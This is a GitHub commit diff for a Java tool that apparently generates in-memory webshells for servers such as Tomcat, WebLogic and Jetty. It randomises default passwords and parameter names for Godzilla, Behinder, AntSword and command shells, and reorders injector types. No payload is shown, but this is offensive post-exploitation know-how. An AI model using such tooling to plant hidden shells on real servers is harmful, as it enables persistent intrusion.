Skip to content

Commit 13c817b

Browse files
committed
feat: support random param and default config (#50)
1 parent 647dd43 commit 13c817b

35 files changed

+248
-113
lines changed

boot/build.gradle

+1
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,7 @@ dependencies {
4848
implementation('org.springframework.boot:spring-boot-starter-web') {
4949
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
5050
}
51+
implementation 'org.apache.commons:commons-lang3:3.+'
5152
implementation 'org.springframework.boot:spring-boot-starter-undertow'
5253
compileOnly 'org.projectlombok:lombok'
5354
developmentOnly 'org.springframework.boot:spring-boot-devtools'

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

+12-10
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,9 @@
22

33
import com.reajason.javaweb.memshell.Packers;
44
import com.reajason.javaweb.memshell.config.*;
5+
import com.reajason.javaweb.memshell.utils.CommonUtil;
56
import lombok.Data;
7+
import org.apache.commons.lang3.StringUtils;
68

79
/**
810
* @author ReaJason
@@ -32,36 +34,36 @@ public ShellToolConfig parseShellToolConfig() {
3234
return switch (shellConfig.getShellTool()) {
3335
case Godzilla -> GodzillaConfig.builder()
3436
.shellClassName(shellToolConfig.getShellClassName())
35-
.pass(shellToolConfig.getGodzillaPass())
36-
.key(shellToolConfig.getGodzillaKey())
37+
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
38+
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
3739
.headerName(shellToolConfig.getHeaderName())
38-
.headerValue(shellToolConfig.getHeaderValue())
40+
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
3941
.build();
4042
case Behinder -> BehinderConfig.builder()
4143
.shellClassName(shellToolConfig.getShellClassName())
42-
.pass(shellToolConfig.getBehinderPass())
44+
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
4345
.headerName(shellToolConfig.getHeaderName())
44-
.headerValue(shellToolConfig.getHeaderValue())
46+
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
4547
.build();
4648
case Command -> CommandConfig.builder()
4749
.shellClassName(shellToolConfig.getShellClassName())
48-
.paramName(shellToolConfig.getCommandParamName())
50+
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
4951
.build();
5052
case Suo5 -> Suo5Config.builder()
5153
.shellClassName(shellToolConfig.getShellClassName())
5254
.headerName(shellToolConfig.getHeaderName())
53-
.headerValue(shellToolConfig.getHeaderValue())
55+
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
5456
.build();
5557
case AntSword -> AntSwordConfig.builder()
5658
.shellClassName(shellToolConfig.getShellClassName())
57-
.pass(shellToolConfig.getAntSwordPass())
59+
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
5860
.headerName(shellToolConfig.getHeaderName())
59-
.headerValue(shellToolConfig.getHeaderValue())
61+
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
6062
.build();
6163
case NeoreGeorg -> NeoreGeorgConfig.builder()
6264
.shellClassName(shellToolConfig.getShellClassName())
6365
.headerName(shellToolConfig.getHeaderName())
64-
.headerValue(shellToolConfig.getHeaderValue())
66+
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
6567
.build();
6668
case Custom -> CustomConfig.builder()
6769
.shellClassBase64(shellToolConfig.getShellClassBase64())

generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
@ToString
1616
public class AntSwordConfig extends ShellToolConfig {
1717
@Builder.Default
18-
private String pass = "pass";
18+
private String pass = CommonUtil.getRandomString(8);
1919
@Builder.Default
2020
private String headerName = "User-Agent";
2121
@Builder.Default

generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@
1515
@ToString
1616
public class BehinderConfig extends ShellToolConfig {
1717
@Builder.Default
18-
private String pass = "pass";
18+
private String pass = CommonUtil.getRandomString(8);
1919
@Builder.Default
2020
private String headerName = "User-Agent";
2121
@Builder.Default

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

+2-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.memshell.config;
22

3+
import com.reajason.javaweb.memshell.utils.CommonUtil;
34
import lombok.Builder;
45
import lombok.Getter;
56
import lombok.ToString;
@@ -14,5 +15,5 @@
1415
@ToString
1516
public class CommandConfig extends ShellToolConfig {
1617
@Builder.Default
17-
private String paramName = "cmd";
18+
private String paramName = CommonUtil.getRandomString(8);
1819
}

generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -15,9 +15,9 @@
1515
@ToString
1616
public class GodzillaConfig extends ShellToolConfig {
1717
@Builder.Default
18-
private String pass = "pass";
18+
private String pass = CommonUtil.getRandomString(8);
1919
@Builder.Default
20-
private String key = "key";
20+
private String key = CommonUtil.getRandomString(8);
2121
@Builder.Default
2222
private String headerName = "User-Agent";
2323
@Builder.Default

generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java

+3-2
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,9 @@ public Class<?> getListenerInterceptor() {
3030
@Override
3131
public InjectorMapping getShellInjectorMapping() {
3232
return InjectorMapping.builder()
33-
.addInjector(SERVLET, ApusicServletInjector.class)
33+
.addInjector(LISTENER, ApusicListenerInjector.class)
3434
.addInjector(FILTER, ApusicFilterInjector.class)
35-
.addInjector(LISTENER, ApusicListenerInjector.class).build();
35+
.addInjector(SERVLET, ApusicServletInjector.class)
36+
.build();
3637
}
3738
}

generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,8 @@ public Class<?> getListenerInterceptor() {
1818
@Override
1919
public InjectorMapping getShellInjectorMapping() {
2020
return InjectorMapping.builder()
21-
.addInjector(FILTER, BesFilterInjector.class)
2221
.addInjector(LISTENER, BesListenerInjector.class)
22+
.addInjector(FILTER, BesFilterInjector.class)
2323
.addInjector(VALVE, BesValveInjector.class)
2424
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
2525
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -44,10 +44,10 @@ public Class<?> getListenerInterceptor() {
4444
@Override
4545
public InjectorMapping getShellInjectorMapping() {
4646
return InjectorMapping.builder()
47-
.addInjector(FILTER, GlassFishFilterInjector.class)
48-
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
4947
.addInjector(LISTENER, GlassFishListenerInjector.class)
5048
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
49+
.addInjector(FILTER, GlassFishFilterInjector.class)
50+
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
5151
.addInjector(VALVE, GlassFishValveInjector.class)
5252
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
5353
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -24,10 +24,10 @@ public Class<?> getListenerInterceptor() {
2424
@Override
2525
public InjectorMapping getShellInjectorMapping() {
2626
return InjectorMapping.builder()
27-
.addInjector(FILTER, InforSuiteFilterInjector.class)
28-
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
2927
.addInjector(LISTENER, GlassFishListenerInjector.class)
3028
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
29+
.addInjector(FILTER, InforSuiteFilterInjector.class)
30+
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
3131
.addInjector(VALVE, GlassFishValveInjector.class)
3232
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
3333
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -24,8 +24,8 @@ public Class<?> getListenerInterceptor() {
2424
@Override
2525
public InjectorMapping getShellInjectorMapping() {
2626
return InjectorMapping.builder()
27-
.addInjector(FILTER, JbossFilterInjector.class)
2827
.addInjector(LISTENER, JbossListenerInjector.class)
28+
.addInjector(FILTER, JbossFilterInjector.class)
2929
.addInjector(VALVE, JbossValveInjector.class)
3030
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
3131
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/JettyShell.java

+4-4
Original file line numberDiff line numberDiff line change
@@ -33,12 +33,12 @@ public Class<?> getListenerInterceptor() {
3333
@Override
3434
public InjectorMapping getShellInjectorMapping() {
3535
return InjectorMapping.builder()
36-
.addInjector(SERVLET, JettyServletInjector.class)
37-
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
38-
.addInjector(FILTER, JettyFilterInjector.class)
39-
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
4036
.addInjector(LISTENER, JettyListenerInjector.class)
4137
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
38+
.addInjector(FILTER, JettyFilterInjector.class)
39+
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
40+
.addInjector(SERVLET, JettyServletInjector.class)
41+
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
4242
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
4343
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
4444
.build();

generator/src/main/java/com/reajason/javaweb/memshell/server/ResinShell.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -28,9 +28,9 @@ public Class<?> getListenerInterceptor() {
2828
@Override
2929
public InjectorMapping getShellInjectorMapping() {
3030
return InjectorMapping.builder()
31-
.addInjector(SERVLET, ResinServletInjector.class)
32-
.addInjector(FILTER, ResinFilterInjector.class)
3331
.addInjector(LISTENER, ResinListenerInjector.class)
32+
.addInjector(FILTER, ResinFilterInjector.class)
33+
.addInjector(SERVLET, ResinServletInjector.class)
3434
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
3535
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
3636
.build();

generator/src/main/java/com/reajason/javaweb/memshell/server/ServerToolRegistry.java

+3-4
Original file line numberDiff line numberDiff line change
@@ -23,12 +23,11 @@ public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping)
2323
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
2424
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
2525

26-
for (Map.Entry<String, Class<?>> entry : rawToolMapping.entrySet()) {
27-
String shellType = entry.getKey();
28-
if (!injectorSupportedShellTypes.contains(shellType)) {
26+
for (String shellType : injectorSupportedShellTypes) {
27+
Class<?> shellClass = rawToolMapping.get(shellType);
28+
if (shellClass == null) {
2929
continue;
3030
}
31-
Class<?> shellClass = entry.getValue();
3231

3332
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
3433
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);

generator/src/main/java/com/reajason/javaweb/memshell/server/SpringWebFluxShell.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -17,9 +17,9 @@ public class SpringWebFluxShell extends AbstractShell {
1717
public InjectorMapping getShellInjectorMapping() {
1818
return InjectorMapping.builder()
1919
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
20+
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
2021
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
2122
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
22-
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
2323
.build();
2424
}
2525
}

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

+4-4
Original file line numberDiff line numberDiff line change
@@ -33,14 +33,14 @@ public Class<?> getListenerInterceptor() {
3333
@Override
3434
public InjectorMapping getShellInjectorMapping() {
3535
return InjectorMapping.builder()
36-
.addInjector(SERVLET, TomcatServletInjector.class)
37-
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
38-
.addInjector(FILTER, TomcatFilterInjector.class)
39-
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
4036
.addInjector(LISTENER, TomcatListenerInjector.class)
4137
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
38+
.addInjector(FILTER, TomcatFilterInjector.class)
39+
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
4240
.addInjector(VALVE, TomcatValveInjector.class)
4341
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
42+
.addInjector(SERVLET, TomcatServletInjector.class)
43+
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
4444
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
4545
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
4646
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb6Shell.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -18,10 +18,10 @@ public Class<?> getListenerInterceptor() {
1818
@Override
1919
public InjectorMapping getShellInjectorMapping() {
2020
return InjectorMapping.builder()
21-
.addInjector(FILTER, TongWebFilterInjector.class)
22-
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
2321
.addInjector(LISTENER, TongWebListenerInjector.class)
2422
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
23+
.addInjector(FILTER, TongWebFilterInjector.class)
24+
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
2525
.addInjector(VALVE, TongWebValveInjector.class)
2626
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
2727
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/TongWeb7Shell.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -18,10 +18,10 @@ public Class<?> getListenerInterceptor() {
1818
@Override
1919
public InjectorMapping getShellInjectorMapping() {
2020
return InjectorMapping.builder()
21-
.addInjector(FILTER, TongWebFilterInjector.class)
22-
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
2321
.addInjector(LISTENER, TongWebListenerInjector.class)
2422
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
23+
.addInjector(FILTER, TongWebFilterInjector.class)
24+
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
2525
.addInjector(VALVE, TongWebValveInjector.class)
2626
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
2727
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)

generator/src/main/java/com/reajason/javaweb/memshell/server/UndertowShell.java

+4-4
Original file line numberDiff line numberDiff line change
@@ -38,12 +38,12 @@ public Class<?> getListenerInterceptor() {
3838
@Override
3939
public InjectorMapping getShellInjectorMapping() {
4040
return InjectorMapping.builder()
41-
.addInjector(SERVLET, UndertowServletInjector.class)
42-
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
43-
.addInjector(FILTER, UndertowFilterInjector.class)
44-
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
4541
.addInjector(LISTENER, UndertowListenerInjector.class)
4642
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
43+
.addInjector(FILTER, UndertowFilterInjector.class)
44+
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
45+
.addInjector(SERVLET, UndertowServletInjector.class)
46+
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
4747
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
4848
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
4949
.build();

generator/src/main/java/com/reajason/javaweb/memshell/server/WebLogicShell.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,9 @@ public Class<?> getListenerInterceptor() {
1818
@Override
1919
public InjectorMapping getShellInjectorMapping() {
2020
return InjectorMapping.builder()
21-
.addInjector(SERVLET, WebLogicServletInjector.class)
22-
.addInjector(FILTER, WebLogicFilterInjector.class)
2321
.addInjector(LISTENER, WebLogicListenerInjector.class)
22+
.addInjector(FILTER, WebLogicFilterInjector.class)
23+
.addInjector(SERVLET, WebLogicServletInjector.class)
2424
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
2525
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
2626
.build();

generator/src/main/java/com/reajason/javaweb/memshell/server/WebSphereShell.java

+2-2
Original file line numberDiff line numberDiff line change
@@ -29,9 +29,9 @@ public Class<?> getListenerInterceptor() {
2929
@Override
3030
public InjectorMapping getShellInjectorMapping() {
3131
return InjectorMapping.builder()
32-
.addInjector(SERVLET, WebSphereServletInjector.class)
33-
.addInjector(FILTER, WebSphereFilterInjector.class)
3432
.addInjector(LISTENER, WebSphereListenerInjector.class)
33+
.addInjector(FILTER, WebSphereFilterInjector.class)
34+
.addInjector(SERVLET, WebSphereServletInjector.class)
3535
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
3636
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
3737
.build();

web/src/components/layouts/root-layout.tsx

+2-3
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,12 @@
11
import { LanguageSwitcher } from "@/components/language-switcher";
22
import { ModeToggle } from "@/components/mode-toggle.tsx";
33
import { ThemeProvider } from "@/components/theme-provider.tsx";
4+
import { Button } from "@/components/ui/button";
45
import { Toaster } from "@/components/ui/sonner";
56
import VersionBadge from "@/components/version-badge";
67
import { GitHubIcon } from "@/icon";
7-
import { Button } from "@/components/ui/button";
88
import { Outlet } from "react-router-dom";
99

10-
1110
export default function RootLayout() {
1211
return (
1312
<ThemeProvider defaultTheme="system" storageKey="vite-ui-theme">
@@ -39,4 +38,4 @@ export default function RootLayout() {
3938
</div>
4039
</ThemeProvider>
4140
);
42-
}
41+
}

0 commit comments

Comments
 (0)